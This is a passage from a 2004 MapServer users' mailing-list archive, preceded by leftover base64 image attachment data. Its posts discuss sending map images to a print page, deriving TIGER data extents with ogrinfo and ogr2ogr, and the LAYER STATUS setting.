9EswgKQxPhSwd64fXExbZUGfqSolobnUr3c9qg3v6ne/55GMa2si251qpZnqMKtoqrtc1wSgQAIw 4IMg/GCzJIC939kOSQF6WLMUd4o6LO+CbpMWKQCgAPshIAKsUEAEGCAE1M2Fd/lRzJZqJimYkSUL p9CbMqLkNQ3ZjgAS0CFq5mM5LRAAe2XQnqnCVqEVXuWIr8DKQiJFQP/jOGwevGMADoUntuBITwIM CN4WA2et8KxwG9ohn0uyoKRnuchN/SGhZM7Ftd0RwHL7AeSqXLeZIUxQYEUQR5BKNjIARIB+OkyZ wIIDxUP2wVXdUZVKVogNbylLQROQJNg2OaAaXo+H+4KYpLwDRJ1Bb4gVIyWT+OESB83FiW66AgPc d4AofmxIBUgj6Qb3HZjJ6BTvAFoq8ZEmMvwJOQNwXwIC8CziBWcA2NMeM78GHLJFYxA5acwdWBGl M22xPVd83zbtV6QluBKOv6NS3WB0BXCJhEGOWdwOPuSngq4rAtOT5zb9qIR2XBF7RgmQ6Vg3Ns6l bXmT0cYE2jW55zH/B5zUe18xC9QGh9aGh7Z0oJDM6RZnWAgNo5rL10ZnhHbwrpbXRB0Oi0AulRaI Bl7MCkwjghsHUZNG1bLlPHKYugHlj6bKQQIlxDcMHeBtCr6MlIv0o1T3sGhfmDsm17g6tznoslZk kMMOPJNU9jh1St3BYW3m2qOfYoqcHTIens7QHM1kZVT44OoJBfecW5FQfta7njEFliJASoqRlOkH H9rCideg6Xs1u6I2FSrP693PZN8DK4fAFYhlqXMLngEbOeHUnXhy9rXbZMDTKOkhM/qzlFLVm10c pCRUvZM/l1RoYqsnUgkMFkYDlMYAHhCmfpySRL5soLDKoVQOEhN7/zdV4E3dF4A4jpNrpvSiOcjg KedyglmCKhLPpiYB+GWPh1Lc4Qend4Cm1Ew9pmsdKRvhMtA1YqOJkNugCDQ9OGbSdlgqsBZnOVsV PuA6oQpjGlJLQPDMzAjT8yAif2QETmLvs8P7m233eyOihDKmfVKT5jZEP5xIqWQDIGE3ReanAJYN KciJyoRukMpEzPFj0pJxiJ/zRi0SCUOrXCoBmDsSXnqpBhulgwPbVrIC5/Onm4qxMdUEzKvM5QGa wQJkrDMZVGwjbAJYwAIagLkq0tcqF5JDJx02ZYkCYsnXafI5gzCmz3rPCBBwwJoXACjkEIC7su2p G5XJtiPn68vd+v/SS5Binz6hCAEOEHQD1HwV4DAgAO7lYRXX1ElPJRfLWPpyQdSqnRzz2ZegFUAD Nj3rNbvp0O5FYG0G8EEo2q+puGvrcr7sSDTgdjTpOPNz1KzmTQvaAaZDKDHnRz/s8o4u6WLai/OE Z3OcgTO56POkILAATTdA0OQ+kgGHq9geBe8P74SrMJdsNSdhAx2EoMN3mF1uB8zaARA4N7NzZtOb XhuWp1IaugSKD+ZGgy2d81yl+eNsCJD73JpudrkbsB/5wleHG+ZitOrZcFGg4VhSdqmZIxocjGf6 5YN+OcDXzE95xcCggv0etx8QHWxopLnZUcByZu1sfjM70BBgQKb/gZ0pnn1QxHUWDqQnbYphQNlB si1OrQEuaH4DnNyZXgA+jOyh8jjUU8OZ2as2R++XXEwaLjlGKsUJgIoHuuvOlrmgH+rB4JnUd6jz 9YIxN6O6iYPJI8mYhWwwJqEDuuvkbjaty63mgIMTftirdv3oelNxwokKhUJRux4slkyMWW/5ttfW I2/0sDuAAWIHNfzit3nOf7jRZtyPquNVl6NYdQTwrnvrB72AQJc74Lgupq55LdcFfriMpxZAyWvw CGRBc7fZSc65/y35fr/c4uDkJg5B7kMoIpabQr8r3DosnIZvhbyQ8Yl9zNPvu6tZ5uVm/q7DbATz V693OrQwL3Ip/0bQLIi3OHazCDswJh/DdWFXa9t3bgMAAUvFclWgWcU1AKjjNG/VHB5ScuPzLqWV LP/gNBn3gGsmc57HU96BgaG2gcfUaZXEdgf4DnjzCC+wIwOSgha3Zptmcf42a1kSPA9Vbb/2K7dj JCpEb4exFpoACSKQaN2RaYFGdD+Id5USY/HTO5KBdkmVJvilBSV3CZ9iCr1gH2yCgsSHP+ThWtij YaMWPKnTaPpjR21HEFalOFyBhC3Xb7OUM64kT9xEXfPgUEjGT5hCBNNnYrTSS/ahXvMQAdDGKsuR UMU1aslxRXAWSv8yNaNXVS01FFqwI26iIiDTH7gmiD3CayYSY//yY1zsdzKTBGmS9gxjJg062DZE hIqbtU3YNVcL9D4SkDqXE2zN8YnH9kLfdhLz14nMhB4gRW2/6GtQ5D5RRDJIBEFYAoIXZWw5lmz2 omLxFol05RtqpFPSE06BA0iG0kc8Jwa8IA/04EtbxTR8SByWo1MCkI8MUgCtoEaEdy0p0g4O51ws kyw6ImWn5jegFDJphSfBA4l4dSz0liMtVRcrB2TaJo51CEFZw0XAgycEiRcPgUdf0njj+FSOdjsz whDJRTEz4H4Y4VwXIx9BVy5zxD69Y0Kf8hwKQD+Jpn45Mw/TFyZYURKmF3TPw1pbMw98B1+pgVI7 VI31ZYy6SIP/84F6MFEdK4dkMUgeQRKNmmdtviZ7VQkt2NhFTEgiWcBH5kAIDiFvMpMlP9lZITV7 9LNZ3JQ/fyR6BjhBumAUN7JyQfJAcPMcwaV85tdZnMVNuFNhxuGOToEXUZGDG3VGIgZKP1lMOrVu 0ohY7QQyHWVW3dYP8rEVhBlsEyIphrKP8sMS8fWUwfCKQGYqRfIeDpeV6fRSGWmb6sJKwYFQ3HSO OsR3E/Jp2DM8WYI7CmAABVlVAHSGLgAsM8U1EDKHEeCGw2hJJLSd14Qu2+icjOgMfsUR3sBfvpKS V7CBRCl77xMAoJFM6ngzfFmAFSkaujU25xkR7TESfKl25VCI/4f1hjeQjlsWHVRmnw/WhCSoGFIx dyhTjNECV/+oU+YHUWHFWK0JaRLhFpOxGcA3QFA3lJXCCwW3kyqZe98BgqBjT831D443ZNX0KktT JBGADyfVVClUWGhQlHXSGB+6BWioSSOqL6yTMnKoGUSCX+zBM+4HGJOmFUSRF6bWKhniRCJqOFUq ju5UBQS5ao5SMFyRfsJCKefCf4XjHzGWYiejL18Kpd4yIovBgOs1KKaIj51ER/glnMa1kvXpjgoI pxa5I6y0nJPEneHELCD0GQpEPcM4LCjUHdx4I4CJfanEgYQnosm0hQvEO86yQNq0Za5ySzToJc1g HcmTFzxFPP85A4bWJVLWZnAkREx9akZMOSWSWQ5mqBv9RKiCdaU6UwDJZ4R0pV2OqqO/eSh203Cl 5SiMoqoc5lGQ6pSOSo2VAHIiJD/dVZ0tQhwE6YUcUTWiEqJOM0Oj2n8tpkYgVF4gd1h+5lt5BYJl 4W1UN6YeVVbOw0lAlI8b2AKj5lBSmC7EAlTddixloSwEQYqtKq0AAiFxNCAxE4lql6zZohJ4xi0m VpI6KC44aZsKQ0iAUzg7SpQV+S55iEThOgKiBSxYpo0RZCZvE4CUaGcEW5AukxP+o7KZaS5c8kFd AzEmEwG7k2JaUy2jV5O82mpF0QbAV5vASVsA8EY+so+Ww1T/qDM9e5k1mgRU4skyujWZTTtbAFqu IMVNvuZ8A0pMMwacDuOPFRkiYtQ5O9G0RsMvy3l5eFlt1qNQ8DlL5co1qsZY7iESTrixdIOpglJD ghirequKhro/YnixyEO4o/APq8qtoOUe7TVPxVqW8gM/oTk3++MeMulf87EINBCiblWm0Vogl3Q9 qyhCqqFALaY0KaqgLIQUUmOpQJuToklk3ZmPm0EKO9SdmQocHysAb9oTvOeEupCLKYlzNYR+gQOI BSZ67EJRT5o8unpKYvKIDsmHJeO610uf3kqbTRmDo2c2HVpVzJhKzjNyw3NPSzojuFar7Jch5nmf 8CATq7Yb/2OCM9r2lZt6AHQXI9kJaiPVNG0CKAZIXbzgBgAkAKqbpWvHHLjWXWMhDiQkUmRkmHVk R85ZqTpQQeRDqOKiQThTl7Aruy74nqDRlCO7vsoDbhLxvmSaNNekJpb4hv4nXAcKtclKwwAFU0oU ok0UQ8EmbSI1P734Yfm0drPlfl8EUHEABnQLfdMigO2AWMOVrlHMZRuCISOJR5PFvr+HhnClSORU iGfbOwjUCizXkzT1wI2kR1I1B7moOlgKmTOwQ5XwQRGhjzu6NMc4IU/6LjnBB5yhuhnqjBYWS+Rx czWGOHxsRts7mGgspPAbQ77rLzoaa8aRCOnXVapDxaA3C//RJEa+uo4bBLVVkJ2HtD76IZztFHUr eockmE4TpLNdSqO2iZx+FAP82gpYez+8sk+G8ol4g1ECZbkFJTm/gkP+qK09UhkmdVjvGUcaQy0C I6/UdRrum8XqZ77Bs4+b225n+7kwHKM+xSHgfDYvdQoVjLmbxDOb28R7q1BRZELwSlKojICcYTa0 wIKMBayFhVB2+cVGqIGimSY3zKKhsSiwoCMOklK/ei0FLKuHpWtQBGJNuitYQsPFkDysRrfDw1qB chzd2YU89EaHhEMM4CwBKIBTQ8UHG0rlaamOBzyBIlaR2J0tcaMdrYH+6CzedR4JStJQYTeOtBlP cllPY5v/0wtHM/BpW2gAsoVQVh1aU3K0ovIXp7WHqmUuYYjOxSRO6ejDEfFQcQhMkSnR2WDEvOtb T+VE9JU9qPOPfpdQ3ZVjTnRi3JhWfjBZcwq/4EldXxjUenk/O9QSeNu3KHQeboDThN3U5gW9HjnG X+ha29RAwFXUoRSGeCJ9khult7EZlitgcDVT2ZldQdkfgexd6kOfpk16FrkLElbP5Xxh2LtGonYq 7pGPMzgkuWqyF4khY/rJHrjGUzOHtHWPlPQvH4Lb/YtvAToavH3PhTmzNq28vpNWh3nTbzsUyJOz 2YHLZ1KMOFq938E906vBAtYMChpmlIEDQ1BmJJAyMhy//xxUexxtcIhWZ53G1GK6CckiGG3SHJcr izFplgzNzrGFV6CnZNYdGhhDaSNQpsFnRtL6aZhnhNllibFVTajWHV/aj/Dnau87AaJceFiqWVzo GwncWVEEVoZ8HMy6eF8bDlisst+1fqLVBlrmQT2Uj1qYgXRWpCNJry0UbiNwLWQVsQP4QdC9npFt 5GE1YFfAjRKWhxOygCLQgYVCVukjuMIKauKHOh6+cJdQlBtRkkhkqROg0aMafTpjoCyxYSxLckzI vSgnmJtAAsC6nEvDghRlU0YeyiR6pV/Wc9TRKB3qyDvr4fniEA5U5ILMo6w9WnhGdXZidWLe0zTW ML7C5/92CESiVhRqdA4q6bYFCRKzkpVticJlN5ptVhw3ig95LchpB0RKzelLNdgFbtjdsLElw4HA wgyapU3od46f8WbHmC7LnMkJAiZVM+o1Cjlts6mdZW1jqbb7mCkqvXttKQa+9+MOwsbsMqECkM+0 x24enJ1khy9d3nZUYAUwJXHZNzLLdFdFKKvaBceOWkN+9lNdY+0dagbMO+pn/isYvY9GwQqBzGvM N36okacA+UAEiIxClYB+EbZxdq9VokYcIryddglslFIbNKnohGxPWIKZOZrHgegPTaOFJmx2WIO5 3S8uheyFMi5ZQIleeSUCsWCY6SKA2oRWg5BPMkmlWDr/Kj0jCWzNIXvW1R3n3sI4MIXCJFqx20NI U9M+8iQByt6RWb8sqX2GGzVlzviBATuDwtrBCbCdhwixahPrqIk8YwqJJ9SQlfDH90gkZas9Z3TP Wf860XRECltYEC+LlQAAMUYXUhVVaQ6fsgg2tHiqtnhOHTF/V1nqnJQfh9a3b3DkDlUJCmalLdIC cj3RRLUTVFrJJP8idZXBzqd58ePsht8TLmvhk1bg58DJ4diBUlwcgQ/isLX8f82Oovfo8BgP1DeP iF2mbOYvfxP4wbX8sHWguyh1+E6CJ4uQMDopzyZoq+sigV+XIjV77BY/IF1hO0cayT0+rSwcrkd0 HCl9//cDAkyQHJJ5SoSqSkFACIA8C0JR1LVCPDd+K2o4hOImtE2SipnM4VwsGlJZjiZQMASEw4HA +IIjYnFB9LLFYoAq9corIBA/nCCuQNjmiuRkyYw6QEE1rLHNYBUQBEgMRCBEqBXiKEgcnOWoRdas 7TzEydEN+VyBEvEFaS5AQD1RMVF9FewMFEUWAigYBByQwGy+rs0UDPAU+dyAksb9xJ3iBLMKOjQ4 2LjKFIhtWrvCySgmhL/QbVMVSBJ75sDJ4cHVrd+cpsUABg46kVv9Bo/SDLRw4QWTpmc50tkAdcxG kDlDTl0LFIhaNFtt+AXLKAzLAFqQLBaKNOwNHId5jP8ZYcdHH4BBUu5FwWjoFZoqQkIRZEKQyJua yYAsRAYx0wIngSBIXIAm5C1gMukAiEALwDmdS9fI4mFnoZB25OrMY0LNAVKkY2feGrkEY1Mti2Rh ouHKjSevRtCwc4ggibeMDaJFaUkIWLcWEhhEUKD4S8cVLUrI+qHplgAGJIOyUzwKSBIiRqhAWRXl r1JbmWpUshTQBWsuXMJJ+GiR4EhPm4+V3LlngueMN8gKOptHpLUt4Y4jTw6bwWeaIRUM6DE8ZY1l ihPu7TPAdAHgo6ux3aaFl/LysBsSXLoJweWbeWQpzNvZz77gDU5bYWKchOv+llyQENtVwlzUiV0K yXH/x10+8DVAU9cEU85Ftxi3CAomqNDYLgEwVxUTOAmQzidDyJGQgrhlh8B2z7ThXEi2VKXICwwo MAYWYnwhlQk00tOPb5b1QM5PkeEmS2cDsMiURkrqJINlXshGzjtpyCZTRnQtU90xnuWW0JHOxdWP aXV8lRgkS8o0IJOcaCWklCh1leJ2arDIz137VCXER9fEkKQkHu4jhIG3ubmlHEfmxGQmLeoEUGyS 4MfoZGACqdB7XWEmJ6B8ghTeeAcY0FyLhnhaZyfUHQHHiTftpmKnD9p02ibGlTAAYjT4iU2ekQKA AJDUxbFOMpjsBl0a+1iVKD8ihMOFhY38Eq1BIhUS/0c6Co7oAxHLaFusg7HOFq1TAIjwn3+LQEsY TcfqUIyUeXCb1ydKOLjpOvkla4QZBDRWiTiL8OshW0pmZVsOeNzEbUJwTCDLnM5BpSw2m0SgAmLZ RLChCayhy4askpzK6sFE3BHfXjwlmSi+xGGijQ0RtOCFZSMEWMuDlNFV5HtcoXGyZW1x46LQc+EA M7oE+NvsdpDU6eegJSJT0pRznAwdrOtGCGOEETAnB1Wp7ZIch5Vxh0kZWkHdZUI+yUOEg02qi1Um dwlgNAEIzEBAeZYQUOOZE9LQyR0Lv2kMQzjwtsOxWZOaayYZJyBBGswep5rMfw+3j4qX2aUt1T80 rP84mpnrSlOdEpDwBTjNApxjlXbaBJ3BWmq5DB7uVO3LomrCw89V4yWwC3mW0zitEEMXjHBcdWQr 9ckDGIDmDeMCI/B+4qRgqzGK6vRVwVEbGp9kBfBGDEjqdvoVrejSGMGdHz61TW15lcSl1JI9TwA2 YNLTf4T6cYER7UuPRvxEqpzdbzjBMhvDZBE9p3hsTQ+SkRdsJsFo9al7WJraO8BnKfIR4YHrCtf5 qDAL5oyJU1DZH+N+tSBgkUwhe1BRqJa3QnPsbmV1G1OPQpIyjdjgV+JL2ChMVD4DhKlUpsFKVcrA HML0qGIDYM92rCKZQRkBap8o0U3INwwRakJC/5v/yy8cFQEc6qBGNqiEBBCwo4JsI2R0iM/a8lKD hkEPip3C4ITKlQKkXcgFj4lcIg5DHBoAiXApSVARssQw6CARg9OzgsDy0yea9cc8sEkEAc6Iw8CR 5IPIWJURaeiUOuHpIiKhmSaTI4EdSEBg05pflzh4v3ZoJ3qTSp+4xAOzVvLnNQEoZCWtkA7JLCxO o8AlDQcGu4G1qABg4xhrLmSJigmoKQY5FZcUo0UUvaOZsMpV3DJCiRLwqyPq7IgYoGOCHXQSgjWA XpCs8026VccNDzwNOc/HBrv5DRLuI0NJcqQZdn2GllATlje3dAdIckpZKpteHYwmoI8BcQ70SBIt /1OSxfttyWFIPCUJYXQsaZZgiXoMTxvmlwcmdrCIXkkkzibpQ5BsqhIvsJWV4Ia+eaINYVnClCJH AsYlMeV85zjW+g5jDnv1qRyzFBG3uKiqWngUDjxQVHhWeAQAHicAb7vSu3pJEBGNrysNXRAeOpEm TzUpTAxYjVMndkAI/qNNOxsRbZDBkweUc4TQnIFUtHfGMJERr3065nRCMcpbbu4B/VPZi7B2GjL4 bqU9oltkO4epqtIPIaQCIlq4sbuPKRWIVJHfMYNiVY2+J5FW2hUfIZQsuYRxsMtj7MjSIAs4ISNE PPBdTUaF1K+qUpWIFRVugRokH9SiDg3FTklEi/8sNK3rK+npqU+x8qDaYCteUlOk27TCK9ONypkl HFM/PdTZ3BTxPWmTA5AeFjebBNa2EfLqahVbB7Q6tjoxDMUn0gED3CJzJvKzSID75DjCvPBXDGQV MkfUCREKI1IsYRQZ04TemhLkVPSDl/PoZy0DSEePcrkvu6BokMqmEBaX0RaCmncSeuovWSKp00Yx 6FsNYndof43apXSGlb1AhwdgVPCucJVZucGPpNcV1IzJ5GDqUOUOfWAAjpV7Jf3O5qfsfTFqK0Vg kFZYHnAAkifK+WN8/Q+/UPay6fByLawC4RMKOhHDEkdPXa5YxxfxqkaVJB70ScmFIY3TAu0wH2L/ oDhUR45xh4eGVDe/NA0ixk2qhgSWJKiTAJG28ituyOHAqpcyMDbQa1lls8zwoWGbizR9ouyi06JS QpP1abseoKB4EBm6uIx1eVH8gBzPxbubMGASwzihMD+nJwlzxyjFG2veyAHSD3iAAXKcwUV9Gbel dlxtmYLFeJG4RFSRx7UZ0hhjc7tveINQST9cwMxq9Gx1CdaCyKQ8oVxbCdaCtAHgve2DIzzhCl84 wxu+7QCow7F6IAJ2mhHwJEgXOqEWdcELzvGOexzkIRc5yUH+cZJv+wjJtIPC8nBxYism5utUp8Zn XvOZ4zzn2tO5qHvwkwWS6S6gePm15cXyLcaw/x1EoBGNYi4LGpWCZOEtWcxpWBcjDE5QKEIC0bvu 9a+DPeDIoOewCsdFI4Y97Wpfuw1aK/Rqx2voa5873V8OBwBTu4h66XPd+173O1B1eqoCNsIA7vfD qz3bVX6hNwvPbsRDHuwb9OjB+PyeyGPe68lbJtTCK2DyZT70YgewQ0x8DnZkR/SqL5+oqT2dqAvY 4qsXva9aP511MI/ws1d9VgzQvPqVWFu7Fz2WxEc146d++JE3qqUau8hQKD/zIsWJvFT1CUFFH/Nu 8z182dpI3O0m+4jv/U9qsrNnGF78fhfpzoKeZ4ouQ/2I3/5QQTusEcn/8CI1WdqK9JD899323f8G KgyB4eAFAAYgJNmR0G1LY4UfArIdDWXLEVjKiZgCBM7dfxkASnjOJPCVSmDg2g0D9Pyb7azNvz1e CIYd+6HZD6DHMqmg2jkMAQSbR3EgdsRg2s1gmulBpuRg2JXXVsQX8GFC8v0g0QWhZ+GFI6XfEb4c Q9Agp/mVZtigE2pekonSohXhA1phwA1cvlUYI+FgF9odyeidQ/CZfJDhxf3WFAVfSZASg6yh2AEe XznSthSJEc7hfBhg0J2E/3HhHiZOycyRQxGZlwgizP0a7WgdW+nhHiZIFh4MihxKIvIByxEKptzG I+7heL2L9TGeJcaaADQM/pQgPl2BKF5beJlFDCF2iyrGWnThBf0YHScK4tmhoMLUDyyuhMgIWONt CS/yhRTqDAUKI29034GkCt/BIhOeXQdpCejx4uCMl6AYTmQIQAgAADs= --------------Boundary-00=_PY33G6G0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: <9B9E3860-839C-468B-BDE5-D1CDCDC0447D> R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_PY33G6G0000000000000 Content-Type: Image/jpeg; name="06_b.jpg" Content-ID: <6E28D192-F910-40B7-B6D1-37F3B46AF900> Content-Transfer-Encoding: base64 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 --------------Boundary-00=_PY33G6G0000000000000-- From jclabaugh at mac.com Fri May 21 15:54:22 2004 From: jclabaugh at mac.com (Jerod Clabaugh) Date: Fri, 21 May 2004 16:54:22 -0600 Subject: [Mapserver-users] SaveMap Parameter with Mapserver? Message-ID: Hi: I am trying to send the current image from a mapserver page to another html page without using PHP, MapScript or complex jscript/dHTML. Yes, I could do it with that but I'm using MapServer 3.6.4 until I can get around to compiling v4x for OS X, when I can use Chameleon and MapScript. Mr. Jacob Delfos has given me some significant help but when using a more elegant DHTML/JavaScript solution. I was wondering if there is a way to do it using straight MapServer? Problem: I can send an image and its legend, but its only the default layer, no additonal layers are shown even when the image I want to send has multiple layers displayed. Example: http://dev.iwlearn.net/cgi-bin/mapserv?mode=browse&layer=district&layer=fire&zoomdir=0&zoomsize=2&submit.x=44&submit.y=11&imgxy=249.5+249.5&imgext=261492.703125+1822597.261188+419257.656250+1980115.113812&map=%2FLibrary%2FApache2%2Fhtdocs%2Fbelize%2Fdemo.map&savequery=true&program=%2Fcgi-bin%2Fmapserv&map_web_imagepath=%2FLibrary%2FApache2%2Fhtdocs%2Ftmp%2F&map_web_imageurl=%2Ftmp%2F&img=%2Ftmp%2FBELIZE_108517978228379.png I am trying to use a URL string, passing cgi variables to develop a printable page where the current map and legend URLs from the view page are transferred to the print page easily to display the same images. Sample URL: Print Map View I believe what I need is the ability to somehow turn on the savemap cgi parameter? Is there a specific way to do this either in the map file or via a URL string as opposed to editing the mapserv.c file and recompling? Will this work for the map and the legend or just the map image? Thanks in advance for any info. Cheers, Jerod Clabaugh Belize Biodiversity MapServer Initiative http://www.iwlearn.net/belize From marvin at rectangular.com Fri May 21 14:55:58 2004 From: marvin at rectangular.com (Marvin Humphrey) Date: Fri, 21 May 2004 14:55:58 -0700 Subject: [Mapserver-users] Deriving TIGER extents In-Reply-To: <4.3.2.7.2.20040520070336.00aba6c0@mail.gomoos.org> References: <4.3.2.7.2.20040520070336.00aba6c0@mail.gomoos.org> Message-ID: Michael Cortez wrote: > For me, when using ogrinfo to look at TIGER data, all the lines with > geometry data returns a summary, followed by all the individual data > entries. > > Is it possible your simply "missing" it as it all scroll by? > > I usually pipe the output to 'more' so that it pauses after the first > screen, so I can pull the info I need (such as extents.) Good diagnosis and prescription, Michael. Exactly right. I gave up too soon when -summary didn't give me what i expected. -- Marvin Humphrey From marvin at rectangular.com Fri May 21 14:56:21 2004 From: marvin at rectangular.com (Marvin Humphrey) Date: Fri, 21 May 2004 14:56:21 -0700 Subject: [Mapserver-users] Deriving TIGER extents In-Reply-To: <40ACA5CF.9060208@swoodbridge.com> References: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> <40ACA5CF.9060208@swoodbridge.com> Message-ID: On May 20, 2004, at 5:34 AM, Stephen Woodbridge wrote: > Tiger files from the census do not have any extents info in them. You > would have to figure that out for each file. I think it would be > easier to do this with shapefiles. I understand that performance is *much* better using shapefiles in comparison to using TIGER files. However, the presence of extents data in shapefiles does not seem to free the user from having to specify the extents in the .map file, at least not with a shapefile created by using ogr2ogr to convert from TIGER data. I get the same error whether or not I use shapefiles or raw TIGER. If MapServer is attempting to derive extents, as the documentation indicates it does, it is not succeeding. > You can convert the files using ogr2ogr. Thank you for pointing out this app to me. I will probably mass convert all my TIGER files with it, provided that I can secure access to the necessary disk space. -- Marvin Humphrey From marvin at rectangular.com Fri May 21 14:55:45 2004 From: marvin at rectangular.com (Marvin Humphrey) Date: Fri, 21 May 2004 14:55:45 -0700 Subject: [Mapserver-users] Deriving TIGER extents In-Reply-To: <40AC3661.1000200@pobox.com> References: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> <40AC3661.1000200@pobox.com> Message-ID: <9C60D8C2-AB71-11D8-930D-003065AC1682@rectangular.com> On May 19, 2004, at 9:38 PM, Frank Warmerdam wrote: > First, don't you need a CLASS statement in your line layer to define > how to draw the lines? Something like: > > LAYER > NAME "tigertest" > TYPE line > CONNECTIONTYPE OGR > CONNECTION "../TGR26049" > DATA "CompleteChain" > STATUS ON > CLASS > COLOR 255 0 0 > END > END > > Perhaps there is some reasonable default I don't know about. There does not seem to be a default value for the CLASS statement, by my testing. The missing CLASS statement was a problem, albeit one that I'd discovered and addressed shortly after posting my faulty .map file to the list. The main problem that bedeviled me and burned a few hours of my life away lay elsewhere: I did not realize that turning a layer "ON" doesn't turn a layer on. That STATUS statement has some crazy counter-intuitive conventions, no? -- if you want a layer to disappear, turn it "ON".* -- if you want a layer to appear, set it to "DEFAULT". -- If you want a layer to use the default value... there is no default value, AFAICT. Now that I know how it works, I won't make the same mistake again. And I'll stop wondering why a typo in the path to my datasource provoked no complaint. I don't imagine I'm the first or the last person to get burned by this "on is off" issue. Too bad changing the behavior for STATUS to something less Orwellian would require jettisoning backwards compatibility. > Second, I don't have any problem getting extents from ogrinfo when > I specify a spatial layer (such as CompleteChain). For example: > > warmerda at gdal2200[108]% ogrinfo -ro -summary . CompleteChain It appears that I never used the -summary flag while specifying an individual layer without the -q flag in addition. Once I started using the exact command you issue above, I got the desired behavior. Thank you for your reply and for your excellent software, Frank. -- Marvin Humphrey * Note to fellow newbies and others who may find this email in the archive: I'm deliberately skewing my characterization of the STATUS statement for rhetorical purposes. For the real story, check http://mapserver.gis.umn.edu/wilma/mapserver-dev/0404/msg00077.html From TMitchell at lignum.com Fri May 21 15:28:54 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Fri, 21 May 2004 15:28:54 -0700 Subject: [Mapserver-users] Missing Something In-Reply-To: <200405211322.46422.vaiod@berloy.com> Message-ID: > This is all very helpful, I recompiled 